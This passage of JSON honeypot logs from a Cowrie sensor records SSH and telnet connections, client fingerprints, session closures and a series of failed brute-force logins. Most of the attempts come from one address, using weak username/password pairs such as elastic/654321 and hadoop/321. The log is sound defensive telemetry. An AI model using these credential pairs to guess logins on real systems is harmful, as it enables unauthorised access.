66a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:39.970166Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:40.117050Z","src_ip":"91.92.40.36","session":"7d7e242cd87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:40.120560Z","src_ip":"91.92.40.36","session":"7d7e242cd87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"654321","message":"login attempt [elastic/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:40.154765Z","src_ip":"91.92.40.36","session":"349c568e6dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:42.665220Z","src_ip":"23.175.50.47","session":"88bc00d25963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:43.048661Z","src_ip":"91.92.40.36","session":"349c568e6dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marley","password":"marley","message":"login attempt [marley/marley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:43.265400Z","src_ip":"91.92.40.36","session":"7d7e242cd87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:44.686826Z","src_ip":"91.92.40.36","session":"7d7e242cd87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51800,"dst_ip":"159.203.135.109","dst_port":22,"session":"a86cd010241c","protocol":"ssh","message":"New connection: 91.92.40.36:51800 (159.203.135.109:22) [session: a86cd010241c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:46.886928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:47.517680Z","src_ip":"91.92.40.36","session":"a86cd010241c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:47.521337Z","src_ip":"91.92.40.36","session":"a86cd010241c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f14e277a615","protocol":"telnet","message":"New connection: 172.81.62.90:37856 (159.203.135.109:23) [session: 6f14e277a615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:50.140950Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"27061981","message":"login attempt [admin/27061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:50.958054Z","src_ip":"91.92.40.36","session":"a86cd010241c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:53.084544Z","src_ip":"91.92.40.36","session":"a86cd010241c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51880,"dst_ip":"159.203.135.109","dst_port":22,"session":"28722bf67412","protocol":"ssh","message":"New connection: 91.92.40.36:51880 (159.203.135.109:22) [session: 28722bf67412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:54.094792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:55.328191Z","src_ip":"91.92.40.36","session":"28722bf67412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:55.332025Z","src_ip":"91.92.40.36","session":"28722bf67412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":11046,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4712eba1bc3","protocol":"ssh","message":"New connection: 91.92.40.36:11046 (159.203.135.109:22) [session: c4712eba1bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:01.825737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:03.282802Z","src_ip":"91.92.40.36","session":"c4712eba1bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cassini","password":"cassini","message":"login attempt [cassini/cassini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:04.662540Z","src_ip":"91.92.40.36","session":"28722bf67412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49250,"dst_ip":"159.203.135.109","dst_port":22,"session":"383514118c8c","protocol":"ssh","message":"New connection: 91.92.40.36:49250 (159.203.135.109:22) [session: 383514118c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:07.743419Z"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:08.019029Z","src_ip":"91.92.40.36","session":"28722bf67412","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:09.150650Z","src_ip":"91.92.40.36","session":"383514118c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:09.153947Z","src_ip":"91.92.40.36","session":"383514118c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:09.790257Z","src_ip":"91.92.40.36","session":"c4712eba1bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.43584871292114,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:10.843977Z","src_ip":"128.199.8.54","session":"647384ed1823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49334,"dst_ip":"159.203.135.109","dst_port":22,"session":"78fc78b8b184","protocol":"ssh","message":"New connection: 91.92.40.36:49334 (159.203.135.109:22) [session: 78fc78b8b184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:14.471696Z"}
{"eventid":"cowrie.login.failed","username":"guestuser","password":"guestuser","message":"login attempt [guestuser/guestuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:16.202842Z","src_ip":"91.92.40.36","session":"383514118c8c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:16.495039Z","src_ip":"91.92.40.36","session":"78fc78b8b184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:16.546288Z","src_ip":"91.92.40.36","session":"78fc78b8b184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:18.327491Z","src_ip":"91.92.40.36","session":"383514118c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"321","message":"login attempt [hadoop/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:19.453398Z","src_ip":"91.92.40.36","session":"c4712eba1bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"54321","message":"login attempt [es/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:21.243835Z","src_ip":"91.92.40.36","session":"78fc78b8b184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35722,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee040fef914","protocol":"ssh","message":"New connection: 91.92.40.36:35722 (159.203.135.109:22) [session: cee040fef914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:22.094350Z"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:23.028421Z","src_ip":"91.92.40.36","session":"c4712eba1bc3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:23.497187Z","src_ip":"91.92.40.36","session":"cee040fef914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:23.510528Z","src_ip":"91.92.40.36","session":"cee040fef914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:23.793296Z","src_ip":"91.92.40.36","session":"78fc78b8b184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49418,"dst_ip":"159.203.135.109","dst_port":23,"session":"88dd9b62a24c","protocol":"telnet","message":"New connection: 128.199.8.54:49418 (159.203.135.109:23) [session: 88dd9b62a24c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:26.451819Z"}
{"eventid":"cowrie.session.closed","duration":38.11903619766235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:28.259859Z","src_ip":"172.81.62.90","session":"6f14e277a615","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bryana","password":"bryana","message":"login attempt [bryana/bryana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:31.076478Z","src_ip":"91.92.40.36","session":"cee040fef914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"922b14c8a1f0","protocol":"ssh","message":"New connection: 91.92.40.36:60560 (159.203.135.109:22) [session: 922b14c8a1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:31.841065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:33.290931Z","src_ip":"91.92.40.36","session":"922b14c8a1f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:33.431005Z","src_ip":"91.92.40.36","session":"cee040fef914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:34.378464Z","src_ip":"91.92.40.36","session":"922b14c8a1f0","protocol":"ssh"}
